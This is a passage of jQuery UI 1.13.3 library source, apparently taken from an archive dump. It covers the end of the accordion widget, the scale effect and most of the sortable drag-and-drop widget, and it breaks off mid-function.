e.hide().animate(this.showProps,{duration:l,easing:c,complete:a,step:function(e,t){t.now=Math.round(e),"height"!==t.prop?"content-box"===r&&(h+=t.now):"content"!==n.options.heightStyle&&(t.now=Math.round(s-i.outerHeight()-h),h=0)}})):i.animate(this.hideProps,l,c,a):e.animate(this.showProps,l,c,a)},_toggleComplete:function(e){var t=e.oldPanel,i=t.prev();this._removeClass(t,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger("activate",null,e)}})}); jquery/ui/effect-scale.js 0000644 00000002535 15111757755 0011402 0 ustar 00 /*! * jQuery UI Effects Scale 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Scale Effect //>>group: Effects //>>description: Grows or shrinks an element and its content. //>>docs: https://api.jqueryui.com/scale-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect", "./effect-size" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "scale", function( options, done ) { // Create element var el = $( this ), mode = options.mode, percent = parseInt( options.percent, 10 ) || ( parseInt( options.percent, 10 ) === 0 ? 0 : ( mode !== "effect" ? 0 : 100 ) ), newOptions = $.extend( true, { from: $.effects.scaledDimensions( el ), to: $.effects.scaledDimensions( el, percent, options.direction || "both" ), origin: options.origin || [ "middle", "center" ] }, options ); // Fade option to support puff if ( options.fade ) { newOptions.from.opacity = 1; newOptions.to.opacity = 0; } $.effects.effect.size.call( this, newOptions, done ); } ); } ); jquery/ui/sortable.js 0000644 00000135031 15111757755 0010672 0 ustar 00 /*! * jQuery UI Sortable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Sortable //>>group: Interactions //>>description: Enables items in a list to be sorted using the mouse. //>>docs: https://api.jqueryui.com/sortable/ //>>demos: https://jqueryui.com/sortable/ //>>css.structure: ../../themes/base/sortable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "../data", "../ie", "../scroll-parent", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.sortable", $.ui.mouse, { version: "1.13.3", widgetEventPrefix: "sort", ready: false, options: { appendTo: "parent", axis: false, connectWith: false, containment: false, cursor: "auto", cursorAt: false, dropOnEmpty: true, forcePlaceholderSize: false, forceHelperSize: false, grid: false, handle: false, helper: "original", items: "> *", opacity: false, placeholder: false, revert: false, scroll: true, scrollSensitivity: 20, scrollSpeed: 20, scope: "default", tolerance: "intersect", zIndex: 1000, // Callbacks activate: null, beforeStop: null, change: null, deactivate: null, out: null, over: null, receive: null, remove: null, sort: null, start: null, stop: null, update: null }, _isOverAxis: function( x, reference, size ) { return ( x >= reference ) && ( x < ( reference + size ) ); }, _isFloating: function( item ) { return ( /left|right/ ).test( item.css( "float" ) ) || ( /inline|table-cell/ ).test( item.css( "display" ) ); }, _create: function() { this.containerCache = {}; this._addClass( "ui-sortable" ); //Get the items this.refresh(); //Let's determine the parent's offset this.offset = this.element.offset(); //Initialize mouse events for interaction this._mouseInit(); this._setHandleClassName(); //We're ready to go this.ready = true; }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "handle" ) { this._setHandleClassName(); } }, _setHandleClassName: function() { var that = this; this._removeClass( this.element.find( ".ui-sortable-handle" ), "ui-sortable-handle" ); $.each( this.items, function() { that._addClass( this.instance.options.handle ? this.item.find( this.instance.options.handle ) : this.item, "ui-sortable-handle" ); } ); }, _destroy: function() { this._mouseDestroy(); for ( var i = this.items.length - 1; i >= 0; i-- ) { this.items[ i ].item.removeData( this.widgetName + "-item" ); } return this; }, _mouseCapture: function( event, overrideHandle ) { var currentItem = null, validHandle = false, that = this; if ( this.reverting ) { return false; } if ( this.options.disabled || this.options.type === "static" ) { return false; } //We have to refresh the items data once first this._refreshItems( event ); //Find out if the clicked node (or one of its parents) is a actual item in this.items $( event.target ).parents().each( function() { if ( $.data( this, that.widgetName + "-item" ) === that ) { currentItem = $( this ); return false; } } ); if ( $.data( event.target, that.widgetName + "-item" ) === that ) { currentItem = $( event.target ); } if ( !currentItem ) { return false; } if ( this.options.handle && !overrideHandle ) { $( this.options.handle, currentItem ).find( "*" ).addBack().each( function() { if ( this === event.target ) { validHandle = true; } } ); if ( !validHandle ) { return false; } } this.currentItem = currentItem; this._removeCurrentsFromItems(); return true; }, _mouseStart: function( event, overrideHandle, noActivation ) { var i, body, o = this.options; this.currentContainer = this; //We only need to call refreshPositions, because the refreshItems call has been moved to // mouseCapture this.refreshPositions(); //Prepare the dragged items parent this.appendTo = $( o.appendTo !== "parent" ? o.appendTo : this.currentItem.parent() ); //Create and append the visible helper this.helper = this._createHelper( event ); //Cache the helper size this._cacheHelperProportions(); /* * - Position generation - * This block generates everything position related - it's the core of draggables. */ //Cache the margins of the original element this._cacheMargins(); //The element's absolute position on the page minus margins this.offset = this.currentItem.offset(); this.offset = { top: this.offset.top - this.margins.top, left: this.offset.left - this.margins.left }; $.extend( this.offset, { click: { //Where the click happened, relative to the element left: event.pageX - this.offset.left, top: event.pageY - this.offset.top }, // This is a relative to absolute position minus the actual position calculation - // only used for relative positioned helper relative: this._getRelativeOffset() } ); // After we get the helper offset, but before we get the parent offset we can // change the helper's position to absolute // TODO: Still need to figure out a way to make relative sorting possible this.helper.css( "position", "absolute" ); this.cssPosition = this.helper.css( "position" ); //Adjust the mouse offset relative to the helper if "cursorAt" is supplied if ( o.cursorAt ) { this._adjustOffsetFromHelper( o.cursorAt ); } //Cache the former DOM position this.domPosition = { prev: this.currentItem.prev()[ 0 ], parent: this.currentItem.parent()[ 0 ] }; // If the helper is not the original, hide the original so it's not playing any role during // the drag, won't cause anything bad this way if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { this.currentItem.hide(); } //Create the placeholder this._createPlaceholder(); //Get the next scrolling parent this.scrollParent = this.placeholder.scrollParent(); $.extend( this.offset, { parent: this._getParentOffset() } ); //Set a containment if given in the options if ( o.containment ) { this._setContainment(); } if ( o.cursor && o.cursor !== "auto" ) { // cursor option body = this.document.find( "body" ); // Support: IE this.storedCursor = body.css( "cursor" ); body.css( "cursor", o.cursor ); this.storedStylesheet = $( "<style>*{ cursor: " + o.cursor + " !important; }</style>" ).appendTo( body ); } // We need to make sure to grab the zIndex before setting the // opacity, because setting the opacity to anything lower than 1 // causes the zIndex to change from "auto" to 0. if ( o.zIndex ) { // zIndex option if ( this.helper.css( "zIndex" ) ) { this._storedZIndex = this.helper.css( "zIndex" ); } this.helper.css( "zIndex", o.zIndex ); } if ( o.opacity ) { // opacity option if ( this.helper.css( "opacity" ) ) { this._storedOpacity = this.helper.css( "opacity" ); } this.helper.css( "opacity", o.opacity ); } //Prepare scrolling if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { this.overflowOffset = this.scrollParent.offset(); } //Call callbacks this._trigger( "start", event, this._uiHash() ); //Recache the helper size if ( !this._preserveHelperProportions ) { this._cacheHelperProportions(); } //Post "activate" events to possible containers if ( !noActivation ) { for ( i = this.containers.length - 1; i >= 0; i-- ) { this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) ); } } //Prepare possible droppables if ( $.ui.ddmanager ) { $.ui.ddmanager.current = this; } if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } this.dragging = true; this._addClass( this.helper, "ui-sortable-helper" ); //Move the helper, if needed if ( !this.helper.parent().is( this.appendTo ) ) { this.helper.detach().appendTo( this.appendTo ); //Update position this.offset.parent = this._getParentOffset(); } //Generate the original position this.position = this.originalPosition = this._generatePosition( event ); this.originalPageX = event.pageX; this.originalPageY = event.pageY; this.lastPositionAbs = this.positionAbs = this._convertPositionTo( "absolute" ); this._mouseDrag( event ); return true; }, _scroll: function( event ) { var o = this.options, scrolled = false; if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { if ( ( this.overflowOffset.top + this.scrollParent[ 0 ].offsetHeight ) - event.pageY < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollTop = scrolled = this.scrollParent[ 0 ].scrollTop + o.scrollSpeed; } else if ( event.pageY - this.overflowOffset.top < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollTop = scrolled = this.scrollParent[ 0 ].scrollTop - o.scrollSpeed; } if ( ( this.overflowOffset.left + this.scrollParent[ 0 ].offsetWidth ) - event.pageX < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollLeft = scrolled = this.scrollParent[ 0 ].scrollLeft + o.scrollSpeed; } else if ( event.pageX - this.overflowOffset.left < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollLeft = scrolled = this.scrollParent[ 0 ].scrollLeft - o.scrollSpeed; } } else { if ( event.pageY - this.document.scrollTop() < o.scrollSensitivity ) { scrolled = this.document.scrollTop( this.document.scrollTop() - o.scrollSpeed ); } else if ( this.window.height() - ( event.pageY - this.document.scrollTop() ) < o.scrollSensitivity ) { scrolled = this.document.scrollTop( this.document.scrollTop() + o.scrollSpeed ); } if ( event.pageX - this.document.scrollLeft() < o.scrollSensitivity ) { scrolled = this.document.scrollLeft( this.document.scrollLeft() - o.scrollSpeed ); } else if ( this.window.width() - ( event.pageX - this.document.scrollLeft() ) < o.scrollSensitivity ) { scrolled = this.document.scrollLeft( this.document.scrollLeft() + o.scrollSpeed ); } } return scrolled; }, _mouseDrag: function( event ) { var i, item, itemElement, intersection, o = this.options; //Compute the helpers position this.position = this._generatePosition( event ); this.positionAbs = this._convertPositionTo( "absolute" ); //Set the helper position if ( !this.options.axis || this.options.axis !== "y" ) { this.helper[ 0 ].style.left = this.position.left + "px"; } if ( !this.options.axis || this.options.axis !== "x" ) { this.helper[ 0 ].style.top = this.position.top + "px"; } //Do scrolling if ( o.scroll ) { if ( this._scroll( event ) !== false ) { //Update item positions used in position checks this._refreshItemPositions( true ); if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } } } this.dragDirection = { vertical: this._getDragVerticalDirection(), horizontal: this._getDragHorizontalDirection() }; //Rearrange for ( i = this.items.length - 1; i >= 0; i-- ) { //Cache variables and intersection, continue if no intersection item = this.items[ i ]; itemElement = item.item[ 0 ]; intersection = this._intersectsWithPointer( item ); if ( !intersection ) { continue; } // Only put the placeholder inside the current Container, skip all // items from other containers. This works because when moving // an item from one container to another the // currentContainer is switched before the placeholder is moved. // // Without this, moving items in "sub-sortables" can cause // the placeholder to jitter between the outer and inner container. if ( item.instance !== this.currentContainer ) { continue; } // Cannot intersect with itself // no useless actions that have been done before // no action if the item moved is the parent of the item checked if ( itemElement !== this.currentItem[ 0 ] && this.placeholder[ intersection === 1 ? "next" : "prev" ]()[ 0 ] !== itemElement && !$.contains( this.placeholder[ 0 ], itemElement ) && ( this.options.type === "semi-dynamic" ? !$.contains( this.element[ 0 ], itemElement ) : true ) ) { this.direction = intersection === 1 ? "down" : "up"; if ( this.options.tolerance === "pointer" || this._intersectsWithSides( item ) ) { this._rearrange( event, item ); } else { break; } this._trigger( "change", event, this._uiHash() ); break; } } //Post events to containers this._contactContainers( event ); //Interconnect with droppables if ( $.ui.ddmanager ) { $.ui.ddmanager.drag( this, event ); } //Call callbacks this._trigger( "sort", event, this._uiHash() ); this.lastPositionAbs = this.positionAbs; return false; }, _mouseStop: function( event, noPropagation ) { if ( !event ) { return; } //If we are using droppables, inform the manager about the drop if ( $.ui.ddmanager && !this.options.dropBehaviour ) { $.ui.ddmanager.drop( this, event ); } if ( this.options.revert ) { var that = this, cur = this.placeholder.offset(), axis = this.options.axis, animation = {}; if ( !axis || axis === "x" ) { animation.left = cur.left - this.offset.parent.left - this.margins.left + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? 0 : this.offsetParent[ 0 ].scrollLeft ); } if ( !axis || axis === "y" ) { animation.top = cur.top - this.offset.parent.top - this.margins.top + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? 0 : this.offsetParent[ 0 ].scrollTop ); } this.reverting = true; $( this.helper ).animate( animation, parseInt( this.options.revert, 10 ) || 500, function() { that._clear( event ); } ); } else { this._clear( event, noPropagation ); } return false; }, cancel: function() { if ( this.dragging ) { this._mouseUp( new $.Event( "mouseup", { target: null } ) ); if ( this.options.helper === "original" ) { this.currentItem.css( this._storedCSS ); this._removeClass( this.currentItem, "ui-sortable-helper" ); } else { this.currentItem.show(); } //Post deactivating events to containers for ( var i = this.containers.length - 1; i >= 0; i-- ) { this.containers[ i ]._trigger( "deactivate", null, this._uiHash( this ) ); if ( this.containers[ i ].containerCache.over ) { this.containers[ i ]._trigger( "out", null, this._uiHash( this ) ); this.containers[ i ].containerCache.over = 0; } } } if ( this.placeholder ) { //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, // it unbinds ALL events from the original node! if ( this.placeholder[ 0 ].parentNode ) { this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); } if ( this.options.helper !== "original" && this.helper && this.helper[ 0 ].parentNode ) { this.helper.remove(); } $.extend( this, { helper: null, dragging: false, reverting: false, _noFinalSort: null } ); if ( this.domPosition.prev ) { $( this.domPosition.prev ).after( this.currentItem ); } else { $( this.domPosition.parent ).prepend( this.currentItem ); } } return this; }, serialize: function( o ) { var items = this._getItemsAsjQuery( o && o.connected ), str = []; o = o || {}; $( items ).each( function() { var res = ( $( o.item || this ).attr( o.attribute || "id" ) || "" ) .match( o.expression || ( /(.+)[\-=_](.+)/ ) ); if ( res ) { str.push( ( o.key || res[ 1 ] + "[]" ) + "=" + ( o.key && o.expression ? res[ 1 ] : res[ 2 ] ) ); } } ); if ( !str.length && o.key ) { str.push( o.key + "=" ); } return str.join( "&" ); }, toArray: function( o ) { var items = this._getItemsAsjQuery( o && o.connected ), ret = []; o = o || {}; items.each( function() { ret.push( $( o.item || this ).attr( o.attribute || "id" ) || "" ); } ); return ret; }, /* Be careful with the following core functions */ _intersectsWith: function( item ) { var x1 = this.positionAbs.left, x2 = x1 + this.helperProportions.width, y1 = this.positionAbs.top, y2 = y1 + this.helperProportions.height, l = item.left, r = l + item.width, t = item.top, b = t + item.height, dyClick = this.offset.click.top, dxClick = this.offset.click.left, isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t && ( y1 + dyClick ) < b ), isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l && ( x1 + dxClick ) < r ), isOverElement = isOverElementHeight && isOverElementWidth; if ( this.options.tolerance === "pointer" || this.options.forcePointerForContainers || ( this.options.tolerance !== "pointer" && this.helperProportions[ this.floating ? "width" : "height" ] > item[ this.floating ? "width" : "height" ] ) ) { return isOverElement; } else { return ( l < x1 + ( this.helperProportions.width / 2 ) && // Right Half x2 - ( this.helperProportions.width / 2 ) < r && // Left Half t < y1 + ( this.helperProportions.height / 2 ) && // Bottom Half y2 - ( this.helperProportions.height / 2 ) < b ); // Top Half } }, _intersectsWithPointer: function( item ) { var verticalDirection, horizontalDirection, isOverElementHeight = ( this.options.axis === "x" ) || this._isOverAxis( this.positionAbs.top + this.offset.click.top, item.top, item.height ), isOverElementWidth = ( this.options.axis === "y" ) || this._isOverAxis( this.positionAbs.left + this.offset.click.left, item.left, item.width ), isOverElement = isOverElementHeight && isOverElementWidth; if ( !isOverElement ) { return false; } verticalDirection = this.dragDirection.vertical; horizontalDirection = this.dragDirection.horizontal; return this.floating ? ( ( horizontalDirection === "right" || verticalDirection === "down" ) ? 2 : 1 ) : ( verticalDirection && ( verticalDirection === "down" ? 2 : 1 ) ); }, _intersectsWithSides: function( item ) { var isOverBottomHalf = this._isOverAxis( this.positionAbs.top + this.offset.click.top, item.top + ( item.height / 2 ), item.height ), isOverRightHalf = this._isOverAxis( this.positionAbs.left + this.offset.click.left, item.left + ( item.width / 2 ), item.width ), verticalDirection = this.dragDirection.vertical, horizontalDirection = this.dragDirection.horizontal; if ( this.floating && horizontalDirection ) { return ( ( horizontalDirection === "right" && isOverRightHalf ) || ( horizontalDirection === "left" && !isOverRightHalf ) ); } else { return verticalDirection && ( ( verticalDirection === "down" && isOverBottomHalf ) || ( verticalDirection === "up" && !isOverBottomHalf ) ); } }, _getDragVerticalDirection: function() { var delta = this.positionAbs.top - this.lastPositionAbs.top; return delta !== 0 && ( delta > 0 ? "down" : "up" ); }, _getDragHorizontalDirection: function() { var delta = this.positionAbs.left - this.lastPositionAbs.left; return delta !== 0 && ( delta > 0 ? "right" : "left" ); }, refresh: function( event ) { this._refreshItems( event ); this._setHandleClassName(); this.refreshPositions(); return this; }, _connectWith: function() { var options = this.options; return options.connectWith.constructor === String ? [ options.connectWith ] : options.connectWith; }, _getItemsAsjQuery: function( connected ) { var i, j, cur, inst, items = [], queries = [], connectWith = this._connectWith(); if ( connectWith && connected ) { for ( i = connectWith.length - 1; i >= 0; i-- ) { cur = $( connectWith[ i ], this.document[ 0 ] ); for ( j = cur.length - 1; j >= 0; j-- ) { inst = $.data( cur[ j ], this.widgetFullName ); if ( inst && inst !== this && !inst.options.disabled ) { queries.push( [ typeof inst.options.items === "function" ? inst.options.items.call( inst.element ) : $( inst.options.items, inst.element ) .not( ".ui-sortable-helper" ) .not( ".ui-sortable-placeholder" ), inst ] ); } } } } queries.push( [ typeof this.options.items === "function" ? this.options.items .call( this.element, null, { options: this.options, item: this.currentItem } ) : $( this.options.items, this.element ) .not( ".ui-sortable-helper" ) .not( ".ui-sortable-placeholder" ), this ] ); function addItems() { items.push( this ); } for ( i = queries.length - 1; i >= 0; i-- ) { queries[ i ][ 0 ].each( addItems ); } return $( items ); }, _removeCurrentsFromItems: function() { var list = this.currentItem.find( ":data(" + this.widgetName + "-item)" ); this.items = $.grep( this.items, function( item ) { for ( var j = 0; j < list.length; j++ ) { if ( list[ j ] === item.item[ 0 ] ) { return false; } } return true; } ); }, _refreshItems: function( event ) { this.items = []; this.containers = [ this ]; var i, j, cur, inst, targetData, _queries, item, queriesLength, items = this.items, queries = [ [ typeof this.options.items === "function" ? this.options.items.call( this.element[ 0 ], event, { item: this.currentItem } ) : $( this.options.items, this.element ), this ] ], connectWith = this._connectWith(); //Shouldn't be run the first time through due to massive slow-down if ( connectWith && this.ready ) { for ( i = connectWith.length - 1; i >= 0; i-- ) { cur = $( connectWith[ i ], this.document[ 0 ] ); for ( j = cur.length - 1; j >= 0; j-- ) { inst = $.data( cur[ j ], this.widgetFullName ); if ( inst && inst !== this && !inst.options.disabled ) { queries.push( [ typeof inst.options.items === "function" ? inst.options.items .call( inst.element[ 0 ], event, { item: this.currentItem } ) : $( inst.options.items, inst.element ), inst ] ); this.containers.push( inst ); } } } } for ( i = queries.length - 1; i >= 0; i-- ) { targetData = queries[ i ][ 1 ]; _queries = queries[ i ][ 0 ]; for ( j = 0, queriesLength = _queries.length; j < queriesLength; j++ ) { item = $( _queries[ j ] ); // Data for target checking (mouse manager) item.data( this.widgetName + "-item", targetData ); items.push( { item: item, instance: targetData, width: 0, height: 0, left: 0, top: 0 } ); } } }, _refreshItemPositions: function( fast ) { var i, item, t, p; for ( i = this.items.length - 1; i >= 0; i-- ) { item = this.items[ i ]; //We ignore calculating positions of all connected containers when we're not over them if ( this.currentContainer && item.instance !== this.currentContainer && item.item[ 0 ] !== this.currentItem[ 0 ] ) { continue; } t = this.options.toleranceElement ? $( this.options.toleranceElement, item.item ) : item.item; if ( !fast ) { item.width = t.outerWidth(); item.height = t.outerHeight(); } p = t.offset(); item.left = p.left; item.top = p.top; } }, refreshPositions: function( fast ) { // Determine whether items are being displayed horizontally this.floating = this.items.length ? this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) : false; // This has to be redone because due to the item being moved out/into the offsetParent, // the offsetParent's position will change if ( this.offsetParent && this.helper ) { this.offset.parent = this._getParentOffset(); } this._refreshItemPositions( fast ); var i, p; if ( this.options.custom && this.options.custom.refreshContainers ) { this.options.custom.refreshContainers.call( this ); } else { for ( i = this.containers.length - 1; i >= 0; i-- ) { p = this.containers[ i ].element.offset(); this.containers[ i ].containerCache.left = p.left; this.containers[ i ].containerCache.top = p.top; this.containers[ i ].containerCache.width = this.containers[ i ].element.outerWidth(); this.containers[ i ].containerCache.height = this.containers[ i ].element.outerHeight(); } } return this; }, _createPlaceholder: function( that ) { that = that || this; var className, nodeName, o = that.options; if ( !o.placeholder || o.placeholder.constructor === String ) { className = o.placeholder; nodeName = that.currentItem[ 0 ].nodeName.toLowerCase(); o.placeholder = { element: function() { var element = $( "<" + nodeName + ">", that.document[ 0 ] ); that._addClass( element, "ui-sortable-placeholder", className || that.currentItem[ 0 ].className ) ._removeClass( element, "ui-sortable-helper" ); if ( nodeName === "tbody" ) { that._createTrPlaceholder( that.currentItem.find( "tr" ).eq( 0 ), $( "<tr>", that.document[ 0 ] ).appendTo( element ) ); } else if ( nodeName === "tr" ) { that._createTrPlaceholder( that.currentItem, element ); } else if ( nodeName === "img" ) { element.attr( "src", that.currentItem.attr( "src" ) ); } if ( !className ) { element.css( "visibility", "hidden" ); } return element; }, update: function( container, p ) { // 1. If a className is set as 'placeholder option, we don't force sizes - // the class is responsible for that // 2. The option 'forcePlaceholderSize can be enabled to force it even if a // class name is specified if ( className && !o.forcePlaceholderSize ) { return; } // If the element doesn't have a actual height or width by itself (without // styles coming from a stylesheet), it receives the inline height and width // from the dragged item. Or, if it's a tbody or tr, it's going to have a height // anyway since we're populating them with <td>s above, but they're unlikely to // be the correct height on their own if the row heights are dynamic, so we'll // always assign the height of the dragged item given forcePlaceholderSize // is true. if ( !p.height() || ( o.forcePlaceholderSize && ( nodeName === "tbody" || nodeName === "tr" ) ) ) { p.height( that.currentItem.innerHeight() - parseInt( that.currentItem.css( "paddingTop" ) || 0, 10 ) - parseInt( that.currentItem.css( "paddingBottom" ) || 0, 10 ) ); } if ( !p.width() ) { p.width( that.currentItem.innerWidth() - parseInt( that.currentItem.css( "paddingLeft" ) || 0, 10 ) - parseInt( that.currentItem.css( "paddingRight" ) || 0, 10 ) ); } } }; } //Create the placeholder that.placeholder = $( o.placeholder.element.call( that.element, that.currentItem ) ); //Append it after the actual current item that.currentItem.after( that.placeholder ); //Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317) o.placeholder.update( that, that.placeholder ); }, _createTrPlaceholder: function( sourceTr, targetTr ) { var that = this; sourceTr.children().each( function() { $( "<td> </td>", that.document[ 0 ] ) .attr( "colspan", $( this ).attr( "colspan" ) || 1 ) .appendTo( targetTr ); } ); }, _contactContainers: function( event ) { var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom, floating, axis, innermostContainer = null, innermostIndex = null; // Get innermost container that intersects with item for ( i = this.containers.length - 1; i >= 0; i-- ) { // Never consider a container that's located within the item itself if ( $.contains( this.currentItem[ 0 ], this.containers[ i ].element[ 0 ] ) ) { continue; } if ( this._intersectsWith( this.containers[ i ].containerCache ) ) { // If we've already found a container and it's more "inner" than this, then continue if ( innermostContainer && $.contains( this.containers[ i ].element[ 0 ], innermostContainer.element[ 0 ] ) ) { continue; } innermostContainer = this.containers[ i ]; innermostIndex = i; } else { // container doesn't intersect. trigger "out" event if necessary if ( this.containers[ i ].containerCache.over ) { this.containers[ i ]._trigger( "out", event, this._uiHash( this ) ); this.containers[ i ].containerCache.over = 0; } } } // If no intersecting containers found, return if ( !innermostContainer ) { return; } // Move the item into the container if it's not there already if ( this.containers.length === 1 ) { if ( !this.containers[ innermostIndex ].containerCache.over ) { this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); this.containers[ innermostIndex ].containerCache.over = 1; } } else { // When entering a new container, we will find the item with the least distance and // append our item near it dist = 10000; itemWithLeastDistance = null; floating = innermostContainer.floating || this._isFloating( this.currentItem ); posProperty = floating ? "left" : "top"; sizeProperty = floating ? "width" : "height"; axis = floating ? "pageX" : "pageY"; for ( j = this.items.length - 1; j >= 0; j-- ) { if ( !$.contains( this.containers[ innermostIndex ].element[ 0 ], this.items[ j ].item[ 0 ] ) ) { continue; } if ( this.items[ j ].item[ 0 ] === this.currentItem[ 0 ] ) { continue; } cur = this.items[ j ].item.offset()[ posProperty ]; nearBottom = false; if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) { nearBottom = true; } if ( Math.abs( event[ axis ] - cur ) < dist ) { dist = Math.abs( event[ axis ] - cur ); itemWithLeastDistance = this.items[ j ]; this.direction = nearBottom ? "up" : "down"; } } //Check if dropOnEmpty is enabled if ( !itemWithLeastDistance && !this.options.dropOnEmpty ) { return; } if ( this.currentContainer === this.containers[ innermostIndex ] ) { if ( !this.currentContainer.containerCache.over ) { this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() ); this.currentContainer.containerCache.over = 1; } return; } if ( itemWithLeastDistance ) { this._rearrange( event, itemWithLeastDistance, null, true ); } else { this._rearrange( event, null, this.containers[ innermostIndex ].element, true ); } this._trigger( "change", event, this._uiHash() ); this.containers[ innermostIndex ]._trigger( "change", event, this._uiHash( this ) ); this.currentContainer = this.containers[ innermostIndex ]; //Update the placeholder this.options.placeholder.update( this.currentContainer, this.placeholder ); //Update scrollParent this.scrollParent = this.placeholder.scrollParent(); //Update overflowOffset if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { this.overflowOffset = this.scrollParent.offset(); } this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) ); this.containers[ innermostIndex ].containerCache.over = 1; } }, _createHelper: function( event ) { var o = this.options, helper = typeof o.helper === "function" ? $( o.helper.apply( this.element[ 0 ], [ event, this.currentItem ] ) ) : ( o.helper === "clone" ? this.currentItem.clone() : this.currentItem ); //Add the helper to the DOM if that didn't happen already if ( !helper.parents( "body" ).length ) { this.appendTo[ 0 ].appendChild( helper[ 0 ] ); } if ( helper[ 0 ] === this.currentItem[ 0 ] ) { this._storedCSS = { width: this.currentItem[ 0 ].style.width, height: this.currentItem[ 0 ].style.height, position: this.currentItem.css( "position" ), top: this.currentItem.css( "top" ), left: this.currentItem.css( "left" ) }; } if ( !helper[ 0 ].style.width || o.forceHelperSize ) { helper.width( this.currentItem.width() ); } if ( !helper[ 0 ].style.height || o.forceHelperSize ) { helper.height( this.currentItem.height() ); } return helper; }, _adjustOffsetFromHelper: function( obj ) { if ( typeof obj === "string" ) { obj = obj.split( " " ); } if ( Array.isArray( obj ) ) { obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; } if ( "left" in obj ) { this.offset.click.left = obj.left + this.margins.left; } if ( "right" in obj ) { this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; } if ( "top" in obj ) { this.offset.click.top = obj.top + this.margins.top; } if ( "bottom" in obj ) { this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; } }, _getParentOffset: function() { //Get the offsetParent and cache its position this.offsetParent = this.helper.offsetParent(); var po = this.offsetParent.offset(); // This is a special case where we need to modify a offset calculated on start, since the // following happened: // 1. The position of the helper is absolute, so it's position is calculated based on the // next positioned parent // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't // the document, which means that the scroll is included in the initial calculation of the // offset of the parent, and never recalculated upon drag if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== this.document[ 0 ] && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { po.left += this.scrollParent.scrollLeft(); po.top += this.scrollParent.scrollTop(); } // This needs to be actually done for all browsers, since pageX/pageY includes this // information with an ugly IE fix if ( this.offsetParent[ 0 ] === this.document[ 0 ].body || ( this.offsetParent[ 0 ].tagName && this.offsetParent[ 0 ].tagName.toLowerCase() === "html" && $.ui.ie ) ) { po = { top: 0, left: 0 }; } return { top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) }; }, _getRelativeOffset: function() { if ( this.cssPosition === "relative" ) { var p = this.currentItem.position(); return { top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + this.scrollParent.scrollTop(), left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + this.scrollParent.scrollLeft() }; } else { return { top: 0, left: 0 }; } }, _cacheMargins: function() { this.margins = { left: ( parseInt( this.currentItem.css( "marginLeft" ), 10 ) || 0 ), top: ( parseInt( this.currentItem.css( "marginTop" ), 10 ) || 0 ) }; }, _cacheHelperProportions: function() { this.helperProportions = { width: this.helper.outerWidth(), height: this.helper.outerHeight() }; }, _setContainment: function() { var ce, co, over, o = this.options; if ( o.containment === "parent" ) { o.containment = this.helper[ 0 ].parentNode; } if ( o.containment === "document" || o.containment === "window" ) { this.containment = [ 0 - this.offset.relative.left - this.offset.parent.left, 0 - this.offset.relative.top - this.offset.parent.top, o.containment === "document" ? this.document.width() : this.window.width() - this.helperProportions.width - this.margins.left, ( o.containment === "document" ? ( this.document.height() || document.body.parentNode.scrollHeight ) : this.window.height() || this.document[ 0 ].body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; } if ( !( /^(document|window|parent)$/ ).test( o.containment ) ) { ce = $( o.containment )[ 0 ]; co = $( o.containment ).offset(); over = ( $( ce ).css( "overflow" ) !== "hidden" ); this.containment = [ co.left + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( $( ce 